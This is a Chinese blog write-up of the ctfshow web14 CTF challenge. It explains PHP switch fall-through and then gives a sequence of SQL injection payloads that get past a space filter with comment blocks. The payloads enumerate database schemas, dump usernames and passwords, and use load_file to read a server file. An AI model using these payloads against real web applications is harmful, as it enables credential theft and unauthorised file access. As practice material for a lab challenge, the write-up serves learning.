• CTF web之旅 36


    ctfshow web14

    打开

     <?php
    include("secret.php");
    
    if(isset($_GET['c'])){
        $c = intval($_GET['c']);
        sleep($c);
        switch ($c) {
            case 1:
                echo '$url';
                break;
            case 2:
                echo '@A@';
                break;
            case 555555:
                echo $url;
            case 44444:
                echo "@A@";
                break;
            case 3333:
                echo $url;
                break;
            case 222:
                echo '@A@';
                break;
            case 222:
                echo '@A@';
                break;
            case 3333:
                echo $url;
                break;
            case 44444:
                echo '@A@';
            case 555555:
                echo $url;
                break;
            case 3:
                echo '@A@';
            case 6000000:
                echo "$url";
            case 1:
                echo '@A@';
                break;
        }
    }
    
    highlight_file(__FILE__); 

    我们想要把url输出  需要知道对于switch 语句遇不到break是不会退出的 会继续执行下一个case语句 还需要知道在php中 单引号不支持变量解析 双引号才支持

    比如

    <?php 
    $a=123;
    echo"$a";//输出123
    echo'$a';//输出$a
    ?>

    所以为了不让sleep太长的时间 我们直接传入c=3  访问给出的页面  看似是sql注入 发现过滤掉一些字符  空格用/**/进行代替

    传入 ?query=1/**/order/**/by/**/1# 当order by 2 是开始出现不正常回显 判断出回显位数为1  看了师傅的wp 用反引号进行绕过

    ?query=-1/**/union/**/select/**/database()#

    ?query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database()#

    ?query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'#

    ?query=-1/**/union/**/select/**/group_concat(username,'~',password)/**/from/**/content#

     结果如下 秘密里有个秘密 emmm 本地load_file读取一下这个文件 linux服务器默认网站路径为/var/www/html/

    -1/**/union/**/select/**/load_file('/var/www/html/secret.php')

    crtl+u看到如下代码

     <?php $url = 'here_1s_your_f1ag.php'; $file = '/tmp/gtf1y'; if(trim(@file_get_contents($file)) === 'ctf.show'){ echo file_get_contents('/real_flag_is_here'); }'

    绕过条件限制直接读得到flag

  • 相关阅读:
    Notification(一)系统通知的监听移除
    控制器的生命周期
    Foundation Framework
    View的生命周期方法:loadView、viewDidLoad、viewDidUnload的关系
    第一篇markdown博文
    0622.获取json文件的数据
    0622.发送邮件基本操作
    0622.设置tableView的背景图片(平铺的方式)
    0621.用WebView展示html数据
    iOS的Quartz2D篇——基本图形的绘制
  • 原文地址:https://www.cnblogs.com/akger/p/14699692.html
Copyright © 2020-2023  润新知